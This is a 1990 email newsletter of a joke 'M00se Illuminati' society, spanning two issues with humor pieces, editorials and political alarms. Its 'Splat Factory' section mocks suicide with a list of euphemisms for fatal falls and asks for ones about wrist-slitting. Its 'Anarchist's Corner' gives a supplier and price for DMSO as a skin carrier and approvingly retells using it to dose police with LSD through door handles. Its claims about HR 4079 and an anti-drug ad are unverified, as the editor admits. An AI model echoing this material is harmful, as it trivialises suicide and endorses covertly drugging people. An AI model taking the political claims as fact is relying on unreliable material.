is "meep", this is probably just as well. Beginners in this language have
great difficulty in hearing the subtlety of some meeps, so be warned.
Here are some examples:
Meep (decisive): I want my fur stroked.
Meep (murmur): Yes, please carry on stroking my fur.
Meeeep(growl): Carry on stroking, or I'll bite.
Meeeeeeeeeep(wail): He's not stroking my fur any more.
Meepety meep meep meep(excited): He's unwrapping a mars bar
Meepfth(indistinct): Thank you for my mars bar. Now stroke.
By Steven "Fruitbat" Foster <foster@jumbly.enet.dec.COM>
(c) Digital Equipment Corp.
PS - I'm currently working on the revised fruitbat (king henry the eighth
edition) bible. I'll mail you a copy when it's finished. If you have that sort
of mind, then you'll probably appreciate it :-)
-Fruitbat.
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
Welcome to the Splat Factory!!!!!
These are the entries to the most wonderful request to
Falling Euphisms or Another Name to becoming one with the
road in a very Zen-Like way.....
You know, Like Street Pizza
He pulled an "eat-the-street" from the 15th floor.
He did his "dead-bird-flying" imitation.
Spatula Surprise
Terminal Face Plants
Manhole cover imitations
Temporary speed bumps
Extra-large armadillos (Only for those who have driven on Texas ranch
roads)
Modern art (perhaps abstract art, depending on how far you fall)
Decceleration Trauma
Concrete Poisoning
Cement Overdose
Sidewalk Scrapings
Blood Pancake
Gutter Puddle
Death by Inertia
Curb-Diving
Street Spatter
Millimeter (wo)man
roadkill
retread
resurface material(blacktop/whitetop/<color>top)
crow dinner
gutter gulash
Thank you, Alt.Suicide.Holiday for making this list presentable.
Now do we have any euphemisms for Slitting Our Wrists out there?
Like Hemoglobin Interior Decorating or
Personal Porcelain Finger Painting?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
=================================================================
Photocopies of this have been kicking around our office
for ages. It has no author's name attached or any publication
information so I have no idea where it originally came from.
This may be a little out of season but from what I guess, you can
plant kuzu any time of the year and enjoy it for generations to
come. For those of you up north, yes this is a real plant, and
rumor has it that there are odds being taken, on when Georgia
will disappear under a cover of the stuff.
=================================================================
Gardening Tips from Down South
How to Grow Kudzu
All you beginning gardeners out there might want to
consider growing kudzu as a fine way to launch out into the great
adventure of gardenning in the south. Kudzu, for those of you
not already familiar with it, is a hardy perennial that can be
grown quite well by the beginner who observes these few simple
rules:
Choosing a Plot:
Kudzu can be grown almost anywhere, so site selection is
not the problem it is with some other finicky plants like
strawberries. Although kudzu will grow quite well on cement, for
best result you should select an area having at least some dirt.
To avoid possible lawsuits, it is advisable to plant well away
from your neighbors house, unless, of course, you don't get along
well with your neighbor anyway.
Preparing the Soil:
Go out and stomp on the soil for a while just to get its
attention and to prepare it for kudzu.
Deciding When to Plant:
Kudzu should always be planted at night. If kudzu is
planted during daylight hours, angry neighbors might see you and
begin throwing rocks at you.
Selecting the Proper Fertilizer:
The best fertilizer I have discovered for kudzu is 40
weight non-detergent motor oil. Kudzu actually doesn't need
anything to help it grow, but the motor oil helps to prevent
scraping the underside of the tender leaves when the kudzu starts
its rapid growth. It also cuts down on the friction and lessens
the danger of fire when the kudzu really starts to move. Change
oil once every thousand feet or every two weeks which ever comes
first.
Mulching the Plants:
Contrary to what may be told by the Extension Service,
kudzu can profit from a good mulch. I have found that a heavy
mulch for the young plants produces a hardier crop. For best
results, as soon as the young shoots begin to appear, cover kudzu
with concrete blocks. Although this causes a temporary setback,
your kudzu will accept this mulch as a challenge and will reward
you with redoubled determination in the long run.
Organic or Chemical Gardenning:
Kudzu is ideal for either the organic gardener or for
those who prefer to use chemicals to ward off garden pests.
Kudzu is oblivious to both chemicals and pests. Therefore, you
can grow organically and let the pests get out of the way of the
kudzu as best they can, or you can spray any commercial poison
directly on your crop. Your decision depends on how much you
enjoy killing bugs. The kudzu will not mind either way.
Crop Rotation:
Many gardeners are understandably concerned that growing
the same crop year after year will deplete the soil. If you
desire to change from kudzu to some other plant next year, now is
the time to begin preparations. Right now, before the growing
season has reached its peak, you should list your house and lot
with a reputable real estate agent and begin making plans to move
elsewhere. Your chances of selling will be better now than they
will be later in the year, when it may be difficult for a
prospective buyer to realize that underneath those lush green
vines stands an adorable three-bedroom house.
{ed I didn't know what Kudzu was, so the submitter provided the following
information.}
From "The American Heritage Dictionary":
=============================================================================
Kudzu (kood'zoo) n. A vine, Pueraria lobata, native to Japan, having compound
leaves and clusters of redish purple flowers and grown for fodder
and foiage.
=============================================================================
Kudzu was introduced to Georgia earlier this century in an attempt
to provide improved fodder for cattle. It worked ALL TOO WELL. Cattle
do love kudzu but not nearly as much as kudzu loves Georgia. Georgia
provides nearly ideal climate and growing conditions for this rapid growing
and hardy perenial (that's "hardy", as in calling nuclear weapons "explosive").
People have been known to leave home on vaction down here only to
return a week later to find cars and other LARGE objects buried under it's
lush greener. It climbs telephone poles and crosses wires. It's eradication
is a major expense to utility companies. The City of Atlanta has used
bulldozers to dig up the tubers in vacant lots. It's resistant to most
"safe" chemicals although 2,4,D has some effect if used frequently enough.
It's sometimes call "yard-a-night" down here because that's how fast it
seems to grow. The only question seems to be whether the "yard" referred
to is that of "3 feet" or that of "front and back". Rumor has it that some
of the roads in the more rural areas don't get enough traffic and will be
covered by kudzu after a long holiday weekend.
It is a very pretty vine in early spring and summer. It's broad
leaves and flowers are quite attractive until you start to realize that
the dead stick, that it's sunning itself on, use to be a hugh pine tree.
In the winter, the first hard frost turns kudzu into tons of ugly brown
leaves and thick vines. It becomes a real eyesore and possibly a fire
hazard although I haven't heard of any actual kudzu fires. The plant regrows
new vines from the ground up every year, so you can see it's growth rate must
be phenominal.
I understand that the Japanese make a highly regarded form of tofu
from kudzu tubers. It is supposed to be prized for it's nutty flavor (soy
tofu is rather bland). The Japanese cannot produce enough to meet their
own demand and think we're NUTS for trying to eliminate it. I haven't
been able to confirm this use for kudzu, but, if true, they may well be right.
We've got plenty of hungery people and LOTS of kudzu!
The existance of kudzu in a neigborhood has been known to, adversely,
affect property values. The threat of planting kudzu in someone's yard is
generally considered an extreme case of "fight'en words", potentially followed
by "justifiable homicide". Regardless, you can still obtain kudzu seeds
from several major seed companies who list it as a "hardy ornamental
perenial". If understatement was a crime they'd be history.
--
Edited by Brad Templeton. <funny@looking.ON.CA>
--------------------------------------------------------------------------------
**************************** ANARCHIST'S CORNER ********************************
--------------------------------------------------------------------------------
Yes! A new area of the newsletter! (At least for now.)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DMSO := Dimethyl sulfoxide == Methyl sulfoxide == (CH3)2SO
500 ml @ $18.25 from Aldrich Chemical (HPLC grade)
Irritates, but not very toxic. Can carry things on your skin into
the bloodstream or tissues with great ease. Be cautious about the
quality of DMSO used; any contaminants will go into your body too.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I have heard about this stuff, and I guess the "Dead Kennedys" did a
song about it a while back.
It appears that some guy took some DMSO about 20 years back, and laced
it with LSD. Then he put it on the door handles of cop cars in L.A. or San
Francisco.
DMSO carries whatever it's mixed with through your skin in full-potency!
He made an LSD 'contact-poison'! All the cops were tripping out and wrecking
their cars and such. Sounds pretty Discordian....
I've been looking through some chemical catalogs, and that price is
pretty accurate. It varies from company to company, but averages between $18 and
$30 per liter.
-Pat
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
I haven't heard from HerschM00se the Beanmeister in AGES! I wonder if
she's still out there....
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/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue 41 | Disclaimer: The Editor does hereby take responsibility | 07/06/90
---------- for the full contents of this newsletter. Accountability ----------
is now the name of the game. A pox on playing it safe. Let's get real. Bl00p.
================================================================================
--------------------------------------------------------------------------------
**************************** THE ISSUE AT A GLANCE *****************************
--------------------------------------------------------------------------------
EDITORIALS AND LETTERS
Bill Dickson takes the helm again/Pat steps down
IMPORTANT ANNOUNCEMENTS
Submissions needed
Help needed reaching hard-to-reach non-bitnet m00ses
EVENTS AND NEWS
Comment
Fascism in the US part I: Operation Sundevil
Fascism in the US part II: Lies in the war on drugs
New non-network thr0ng: The Damn Whitefish Thr0ng
Fascism in the US part III: Martial Law
FICTION AND POETRY
An interesting little anonymous piece
M00SCELLANEOUS NONSENSE
System privileges as they would apply to real life
Donald Trump -- M00se in the making?
The Usenet Oracle answers a question about goldfish
MEET THE M00SES
None this time, I'm afraid
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Surprise.
I'll bet I was the last person you were expecting to see here again. Yes,
it's true, the real world has me firmly in its grasp, I've graduated with a
B.A. in English Literature, I have my own apartment, I'm paying for my own car,
I have my own kitten (Lisa Miranda), and my own little inadequate job. I also,
for the first time in some fifteen years, have my evenings free with no guilt
attached. And time on my hands.
So I wrote to Pat, who I hadn't heard from in a while, and mentioned that
my palms were itching a bit. He said he just didn't seem to get around to this
editorship business very often anymore, and I decided to take the helm, at
least for a while. So here I am, once again gracing your free blocks.
I've had some strange urges lately. No, not *that* kind of urges, you
filthy m00ses, you. No, strange editorship urgues, coupled with indignation
with the national status quo, and various other things I can't really get a
handle on. Also, I've spilled cream soda into my keyboard. But I digress.
What this all means is, I'd like to launch the M00se Illuminati into a new
direction. A -- dare I say it? -- somewhat serious direction. Not *too*
serious, mind you, but I'd like to get some organization into it, get a better
handle on who we are and what we're really about.
Part of this will be reflected in M00se Droppings, at least while I
continue to edit it. I'm thinking movie reviews, music reviews, announcements
of m00sey events around the world, announcements of nastiness going on that
m00ses may wish to write their congressthings about. That kind of stuff.
Among the other things I hope to do are:
1) Get a list of all m00ses. Not just Cyberm00ses (m00ses
with network access), but any chapters that have sprung
up around the world without direct network access.
2) Make ourselves known. This may seem like a strange thing
for an illuminati group to do, but let's face it -- as an
underground group, we haven't much influence. If many
different people start receiving mail, or reading editorials
from people stating that they are part of the M00se Illuminati,
they're going to start to notice. And if we grow, our
power and influence for covert action will increase as well.
Everybody knows the CIA exists, but it doesn't slow them
down.
3) Start a paper newsletter. Once I get such a project off
the ground, I will surrender M00se Droppings once again.
A paper newsletter will have several advantages: It will
reach those m00ses who do not have network access; it will
be fully protected by the First Amendment; it will look
impressive; seeing it passing through the mail will make
people paranoid. Any one of these reasons would be sufficient
by itself. Combined, they are irrefutable. Sadly, this
project must wait for me to get certain equipment, namely
a repaired hard disk and a better printer. But then, we'll
be in business.
Part one I would like immediate help with. Please send me the names of
any m00ses you know of who are not on the net, along with their addresses if at
all possible.
Part two, we should begin talking about immediately.
Part three is mostly my baby, but suggestions are welcome.
That's enough from me for now, though. Now, Issue 41. As Pat had already
begun this issue, please consider him co-editor, and we'll kick it off with the
editorial he had written.
Bl00p,
Bill.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Well, here we are, at the end of another year. For me, it's the end of
my third year (out of a probably SIX! ;^) ) and it's been pretty good.
If the administration permits, I will be on the system all summer, and
should have more free tyme than I did this semester. If that is the case, and
you guys keep sending me strange and wonderful things, then I'll keep doing this
piece of lunacy.
As I write this, it's 4.30 am, Monday, May 14th. And I'm not even in
Buffalo, but at home, in Oswego, NY for a few days, logging in through my Mom's
account (CHILDS@OSWEGO.OSWEGO.EDU and she loves mail, if you get my drift...).
I'm all done with classes, and I have no finals! (Nyah! Nyah! ;^) )
I'm currently reading the Shrodinger's Cat Trilogy by Robert Anton
Wilson. It's pretty good so far! This book (trilogy, actually) is the sequel to
the ILLUMINATUS! Trilogy. If you haven't read THAT yet, then may I make a
suggestion for your summer reading list?... :)
I've also picked up Wilson's "Illuminati Papers" and "Coincidence". I've
read I.P., ant it's great! "Coincidence" looks good, but I haven't gotten to it
yet.
Enough book reviews....
For those of you who are going away for the summer, and have no Net
access, have a good tyme, and hope to see you next fall! If you are (well, you
know...the "G-word") and you won't be back next year because you're going out
into the quote real-world unquote, have fun, good luck, stay m00sey, and work
yourselves into the positions that have been agreed upon and await further
instructions fnord.
(We ARE a conspiracy, after all! ;^) )
If you won't be able to receive mail this summer, drop me a note and let
me know, so I can remove you from the mailing list and save lots of net-traffic.
For those who are still here, send me some stuff, and let's keep the summer
weird!
Fnordially yours,
-Pat Salsbury
Hi. This is Pat again. It's now 9.50 pm, Fri., June 29th. It's about 6
weeks since I worked on this, and I appologize for not getting it out.
3 days after writing that bit above, (Thus., May 17th.), I had a
motorcycle accident. I hit a guard rail going about 40 mph, and wiped out my
bike. I wasn't seriously hurt (thank the Fnord), but I wasn't able to get back
onto my account for a while, and when I finally did, I just never got around to
finishing this, and sending it out. Again, I apologize.
Strange thing was...I was wearing an Illuminati T-shirt when I had the
accident, (with a BIG eye-in-the-pyramid design on the front!), and suspiciously
escaped any serious bodily harm fnord. ;)
Bill Dickson, our esteemed founder in Hartford, Conn., wishes to take
the helm of our newsletter again, so I return it to him, and wish you well. I'll
still be in touch, and will answer any mail sent to me (hint-hint!). Hopefully
he'll be more on schedule than I have been of late. :-)
Take care, all! It's been a blast!
-Pat
--------------------------------------------------------------------------------
************************** IMPORTANT ANNOUNCEMENTS *****************************
--------------------------------------------------------------------------------
SUBMISSIONS NEEDED!!! We must restore this organization to its ultra-powerful,
pristine condition, and the key is an exciting and interesting newsletter!
Send your submissions to me, Pickle, at DICKSON@HARTFORD.BITNET. Please label
them as submissions in the subject line, and, if possible, include a reference
to the section you think your submission falls under, if any.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I have been unable to reach the following m00ses through the gateways. If
anybody knows of a working address to reach them, please notify me immediately.
INET%"AGTOA!GREYFOX@UUNET.UU.NET"
JJZ@S.CC.PERDUE.EDU
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
No wife, No horse, No mustache.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OPERATION SUNDEVIL: Any of you who didn't receive the long article I
mailed out about Operation Sundevil, the government's unethical, and in some
cases unlawful intrusion into cyberspace, let me know and I'll send it. It's
scary stuff.
Not quite as scary as what happened on Wednesday night, June 27th, though.
On Relay channel 173, the Anti-Government Channel, we of the Politics
discussion list (POLITICS@UCF1VM) were just settling into our topic for the
evening -- Operation Sundevil. As the first sentence of the conversation was
transmitted, the Relay network collapsed. We were separated into groups of two
and three, in some cases chopped down to individuals. And though most of the
Net gradually reassembled itself over the course of the next hour (RELAY@YALEVM
never did come back up, of course), we couldn't help feeling as if there was a
*little* more than coincidence involved.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[I don't think this one comes from a m00se, but it's interesting nonetheless.
Even if you've never smoked the stuff, or aren't for legalization, the point
about selective coverage by the media is important to us all. Read Noam
Chomsky's _The_Washington_Connection_ and _Manufacturing_Consent_ for more
info. -WRD.]
Listen up, tokers! I got some primo dirt on the partnership for a drug-
free America. I'm sure that you have all seen the "brainwave" anti-herb
commercial (brainwaves of a "normal" 14-year-old are shown, followed by the
barely blipping, almost totally flat brainwaves of "a 14-year-old after smoking
marijuanna"). Well, as it turns out, the partnership was/is full of shit (no
big suprise to anyone, I'm sure).
This commercial was seen by Dr. Donald blum, a professor at UCLA. Dr.
Blum has done research on brainwaves, including brainwaves of people after
smoking herb. The brainwaves experienced after getting high are called alpha
waves. Alpha waves are also experienced during meditation. They represent the
creative side, the moment when one lets go and the new energy is allowed to
flow in. Alpha waves DON'T look like straight lines.
Dr. Blum took this info to ABC on Nov. 2nd, 1989.
On Nov. 17th, 1989, the partnership for a drug-free America admitted that
they had not used the brainwaves of a young pot smoker, but had in fact USED
THE BRAINWAVES OF A PERSON IN A COMA!!!!!!!!!! When questioned by ABC
reporters as to why they did it, the partnership said that they thought that
the effects of herb were so dangerous that they felt it was better to lie to
the american public to save them, as opposed to telling the truth.
I learned of this by reading an interview with Jack Herer in the April
issue of High Times. Apparently, the major media has chosen to ignore this
case of caught-red-handed public disinformation (a fact that I find very
disturbing, but not suprising).
I urge all anti-governmental-bullshit types to start spreading the news!
Tell everyone who doesn't know! Our government is lying to us about pot, who
knows what else they're lying to us about?! Since the media is obviously out
to hamper and discredit the legalization movement any way they can, it's up to
US to give people truthful, responsible information about drugs. It's up to US
to go to rallies and tell our fat-assed, facist, vote-mongering excuses for
political leaders that WE'RE NOT GONNA TAKE THIS SHIT ANYMORE!! See you in the
street!!
Dope Smokin' Dave
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I'd like to take some lines now to introduce a new thr0ng of the M00se
Illuminati -- not a cyberthr0ng, just a normal thr0ng, known as the Damn
Whitefish Thr0ng. It is a most promising thr0ng.
It seems Mike Harm, Founder and Traveller extraordinaire, was on a boat
bound for Athens one midnight in late March. He stumbled upon a group of
people passing a bottle of grappa and swapping stories, and joined them.
Soon after, he fell in with John, one of the members of that group, and
Peter, John's friend. They began to travel together, and strange and wondrous
are their tales.
Three in particular are of interest. The first is the tale from which I
derive this new thr0ng's name (the thr0ng made up of John and Peter, in case
you hadn't guessed). It is the tale of the Damn Whitefish.
At some form of high school event, a "senior night" sort of event, Peter
and John signed up to perform the theme from "The Love Boat" in front of the
entire student body, and a good deal of the faculty. Given their history at
this school, the officials should have called in the riot squad instantly; but
no, they nodded and signed up the act.
When it came time for John and Peter to perform the theme from "The Love
Boat," they walked out on stage with a kazoo (in John's hands) and a relatively
fresh, five-foot-long whitefish, acquired earlier that day as far as we know
(in Peter's hands). As John played "Yankee Doodle" on the kazoo, periodically
pausing to scream "DAMN WHITEFISH!!!" into the microphone, Peter proceeded to
swing the fish by its tail repeatedly, pounding it to pulp against the stage.
The effect was impressive. Faculty and students alike were splattered
with fish bits, and gore covered the stage. Everybody (except John and Peter)
was appalled. It was truly a sight to behold.
The second story is the story of the haunting. John and Peter instructed
Mike in the fine art of haunting important national landmarks. Essentially,
what you do is throw a sheet over your head and run around the landmark in the
middle of the night, saying "WooooOOOOOooooooo! WOOOOooooOOOOOOOOOoooooooo!"
in a high-pitched voice. John and Peter haunted many places, including the
Eiffel Tower (second floor). Mike joined them to haunt the Acropolis. We hope
to get together and haunt several landmarks in New York City, and perhaps some
places in Hartford as well. We think it would be good for m00ses to join us.
The final story is the brief tale of John and Peter's discovery of the
M00se Illuminati.
"But what is this organization *for*?" they asked.
"*No*," said Mike, "You don't *understand*....."
They decided it was one of the coolest things they'd heard of in a long
while.
So, let us all welcome John and Peter into the M00se Illuminati, as the
Damn Whitefish Thr0ng. When I can beat them out of Mike, I'll send their
addresses.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[This item was pulled from POLITICS@UCF1VM. It originally came from Bob
Bickford, rab@well.sf.ca.us. I can't speak for its accuracy, but it's not
the kind of thing to take chances with. -WRD]
EMERGENCY -- ACT!
by Tomas Estrada-Palma
and Larry Monaghan
A new bill, HR 4079, co-sponsored by Representative Newt Gingrich and
Senator Phil Gramm, would open the way for American concentration camps to be
built, and thereafter permit the state to round up suspected drug users so they
can be forced to work without compensation for the state.
"The Drug and Crime Emergency Act" drips with patriotism as Gingrich tries
to vaguely connect the freedom movement in eastern Europe with America falling
deeper and deeper into "the slavery of drug addiction."
The bill proposes suspending the Constitution for five years so millions
of illegal drug users can be held by the state in concentration camps. All
internees will be forced to work and if anyone is caught with drugs in the
camps they will have one year added to their sentence each time -- with no
right to appeal.
HR 4079 calls for declaration of a five year national state of emergency--
in essence, martial law. It proposes reopening the concentration camps of
WWII, using active and inactive military bases as prisons, and a new privately
owned prison system as well. To aid in accomplishing this, the 4th Amendment,
the 8th Amendment, and habeas corpus are either superseded, redefined, or
disallowed. A provision has been built in to allow the government to purchase
goods manufactured by prison slave labor. To ensure the duration of this labor
force, all previous maximum sentences would be changed to minimum sentences.
New mandatory sentences would be applied, and probation, parole, and suspension
of sentences revoked.
To provide an even greater pool to draw from, mandatory drug testing of
just about everyone above junior high school level has been included. The
resolution carefully avoids addressing the funding necessary.
Even after 30 press releases were sent out to all the national and local
news outlets by Maryland Libertarian Party members, there has been practically
no mention of the bill in the media. The state evidently is hoping to sweep
this bill into law right under our noses while we are all preoccupied with
other events taking place around the world. Surprisingly, the response from
libertarians as well as mainstream folks has been one of complacency.
Everyone needs to make phone calls and write letters. Direct your
correspondence to the media and your representatives as well as Gingrich and
Gramm. If they don't think you care about this bill becoming law -- it will!
Act now or cry behind the barbwire later.
reproduced from the July 1990 Libertarian Party NEWS
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
Pretty little birdies,
Picking in the turdies.
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
[Would that it were so. From Ice Lord (DICRESCE_PEJ@CTSTATEU.BITNET) -WRD.]
"This just can't happen to me, I've got access to SYSPRV, something must
be wrong."
Let's face it, there comes a time in every privileged user's life when he/
she finds out that privileges may have their uses, but don't you wish you could
use them in real life as well? Dream Equipment Corparation has come up with
the answer. A fully interfacable life modification system that plugs straight
between the unibus and reality, and is ready and waiting to help the privileged
user run his or her life.
$ set def life:
$ run lauthorze
LAF> Mod bike/noflat_tyre
Cosmic Universe Updated
LAF> ^Z
$
$ set def lief:
$ run lauthorze
%LIFE-F-FNF, file not found lief:lauthorze
Do you wish to create a new life? N
$ set def life:
$ run lauthorze
LAF> Mod fingers/nomistakes
Cosmic Universe Updated
LAF> Show headache
there are no defined hours of occurance
VICTIM: you SIGHT AFFECTATION: nil
DURATION: 2 hours ADDITIONS: Nausea, Cold Skin, Dry Tongue
ETA: .3 hours PAIN LIMIT: +2 (Richter)
AFTEREFFECTS: nil MAXIMUM PAIN LIMIT: infinite
PRIMARY DAYS: Sat Sun
SECONDARY DAYS: Mon Tues Wed Thur Fri
1:00 2:00 3:00 4:00 5:00 6:00 7:00 8:00 9:00 10:00 11:00 12:00
P Days ---- **** **** ---- ---- **** --*- --** ---- ***** ***** *****
S Days ---- ---- ---- ---- ---- **** **** **** **** ----- ----- *****
LAF> mod headache/victim="someone_else"/victim_type=prick/pain_limit=7
Cosmic Universe Updated
LAF> ^Z
$
$ set def life:
$ run lauthorze
LAF> mod bank_manager/thoughts="Give loans away freely"
Cosmic Universe Updated
LAF> Mod bank/nomortgage
Cosmic Universe Updated
LAF> Mod Miss_Universe/winner="Miss America"/loser="Miss Scandinavia"
Cosmic Universe Updated
LAF> Mod wage_scale/add=20000
Cosmic Universe Updated
LAF> ^Z
$
$ set def life:
$ run lauthorze
LAF> Mod TV/More_Black_Adder/no_more_Dallas
Cosmic Universe Updated
LAF> Mod religion/nodoubts
Cosmic Universe Updated
LAF> Mod personality/life_and_soul_of_the_party
Cosmic Universe Updated
LAF> ^Z
$
$ set def life:
$ run lauthorze
LAF> remove pope/heartattack
Cosmic Universe Updated, pope dies of heart attack
LAF> mod government/new_government=National
Cosmic Universe Updated
LAF> copy Fletcher_Challenge_Management Government/head_man="Muldoon"/nostrikes
Cosmic Universe Updated
LAF> add knowledge/access
Cosmic Universe Updated
LAF> sh me
Default Mother: Yours Default Father: Yours Birth Place: Yours
Name: Yours Age: Old enough Expiry Date: Soon!
Max Faults: Unlimited Max Lives: 9 Death place: Hospital
Max Wives: 3 Career: Computers Mode of Death: Resp Failure
Privileges:
LIFEPRV, CHANGEAGE, MODLIFE, BYPASSALL, AVOIDDEATH, ALLOWALL
LAF> mod me/passaway
--- Universe Going Down ---
--- Please adjust reality accordingly ---
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[What happens when you take too long to put out a newsletter? It gets dated,
that's what! From AGTOA!GREYFOX@UUNET.UU.NET. -WRD.]
We oughta get ahold of Donald Trump and involve him in the conspiracy! With
a few billion behind us, we'd be unstoppable! Or rather, MORE unstoppable.
With that kind of bread, we could start a M00se lobby in congress! We could
elect M00ses to high public office! Schools could be required to offer
courses in chaos engineering! What fun!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[I was never a great Oracle fan, but now and then comes an answer that must be
passed around. Every once in a while, I'll pick out a couple. -WRD.]
The Usenet Oracle has pondered your question deeply.
Your question was:
> My Goldfish has recently gone off his food, and is behaving in an odd
> manner. First of all, a few days ago, he began swimming on his side and
> has a glazed look in his eyes, nothing i could do would make him change
> this. Now he is looking rather peaky and giving off a strange odour and
> i'm beginning to get worried. Is it me or is my goldfish trying to tell
> me something?
And in response, thus spake the Oracle:
} Do not be alarmed. This is perfectly normal behavior for a goldfish.
} It is just one of those phases in its life cycle. The next phase is
} called "decay." Large chunks of its flesh will break off and float to
} the surface. During this phase, the odor will get a little stronger.
} The water will become slightly murky. You may even discover a
} population of insects and minute organisms in the water. Eventually,
} the goldfish will appear to disintegrate entirely. It's at this point
} that I like to remove the water to a large dutch oven, add chopped
} onion, a little garlic, a few peppercorns, and a bay leaf and boil to
} reduce. You'll end up with a delicious fish stock that I hope you enjoy
} as much as I do.
}
} By the way, some humans prefer to bypass the "decay" phase and go
} directly to the "flush-down-the-toilet" phase.
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
I'll be revamping this section, trying to do an interview-format (come to
think of it, like Goblinm00se and Godfrey did way back when...)
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
A complete list of cyberm00ses will follow this newsletter. From that
point on, I will send an update in this section. When the list has changed
significantly enough (only *I* shall know, heh heh heh), I'll send a new copy
out. Au revoir, and bl00p!
--------------------------------------------------------------------------------
IL ISSUE----ANTI-SUNDEVIL ISSUE----ANTI-SUNDEVIL ISSUE----ANTI-SUNDEVIL ISSUE---
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ANSWER TO THE ULTIMATE QUESTION OF LIFE, THE UNIVERSE AND EVERYTHING ISSUE -- AN
================================================================================
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/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue 42 | Disclaimer: The Editor does hereby take responsibility | 07/14/90
---------- for the full contents of this newsletter. Accountability ----------
is now the name of the game. A pox on playing it safe. Let's get real. Bl00p.
================================================================================
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**************************** THE ISSUE AT A GLANCE *****************************
--------------------------------------------------------------------------------
EDITORIALS AND LETTERS
Bill says many pointless things
IMPORTANT ANNOUNCEMENTS
A call for thr0ng-a-thons
BOOK REVIEWS
Daniel Pinkwater -- his works
M00se Book of the Month: The Mulch of Aval0n, by 0laf 0lafs0ns0ns0n
INTERESTING ARTICLES
Survival in the wake of the increasingly improbably nuclear holocaust
A classic: The history of the world according to history students
The new, official, standardized M00se Illuminati system of measurement
(part one)
M00SCELLANEOUS NONSENSE
The Oracle speaks
MEET THE M00SES
Still nobody this time
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*************************** EDITORIALS AND LETTERS *****************************
--------------------------------------------------------------------------------
Welcome to this, issue number forty-two of "M00se Droppings." Not much
has happened in the past week; I haven't had any new news on the Electronic
Frontier Foundation (the group formed to fight Secret Service fascism on the
Net), or HR 4079 (the pre-bill designed to help further the fascist turn the
country is taking). Oops, actually, that's not quite true. I received a test
message from the EFF, indicating that I'm on their mailing list, and I received
the beginnings of HR 4079 from somebody on the Politics list, with a promise
that more would follow. But that's about it. The practical upshot? Sadly,
this issue will contain very little, if any, political content.
Now, I want you all to know that I'm very disappointed, submission-wise!
I have received submissions from b0liver shagnastY iv and Warm00se, and plans
from Goblin, but nothing else! We must have MORE!
On a lighter note, this issue will be mailed to the David Tarr chapter,
currently residing in Dublin, Ireland. Everybody wave to Dave, all one hundred
and seventy-five of you! Dave has been overseas for about a year now, working
in London, travelling Europe, and now (as I said) working in Dublin. He
probably doesn't get enough mail over there, and I'm sure he'd like to hear
from you. One can never have too much contact with the United States of
America, after all. Dave's mailing address is:
David s Tarr
c/o USIT
Aston Quay
O'Connell Bridge
Dublin 2
Ireland
Don't forget to mark the envelope or package "Air Mail." We want Dave to
get it soon, don't we?
Lastly, before I start the issue, I want you all to know that you can
purchase a plastic ED-209 toy, approximately 5 1/2" tall, at Toys Backwards R
Us for $9.99.
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************************** IMPORTANT ANNOUNCEMENTS *****************************
--------------------------------------------------------------------------------
The summer is drawing to a close at a startling rate. Time to plan
thr0ng-a-thons!
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******************************** BOOK REVIEWS **********************************
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[Recommendations from Warm00se. -WRD]
Hi all!
I am here to make a recommendation for all of your summer (or other)
reading lists, and to nominate somone for Honorary M00sedom. The person in
question is Daniel Pinkwater, allegedly a "children's author", but, if you read
his stuff, you'll see this is not so. True, his books are found in the
Children's section of the library, but...well, read them and you'll understand.
:)
Pinkwater is brilliant! His stories are amusing, and I'm almost SURE he
knows about...THEM (fnord). I've seen stuff in several of his books and I'm
positive. I think we should make him and honorary m00se, and perhaps (just to
confuse him), actually contact him and notify him of his in(ab?)duction! ;)
His books are short, too, so you can usually read most of them within
20-30 minutes. (Now you don't have an excuse NOT to read them! :) )
Anyway, check his stuff out! It's great! I've included a list below of
some of his works.
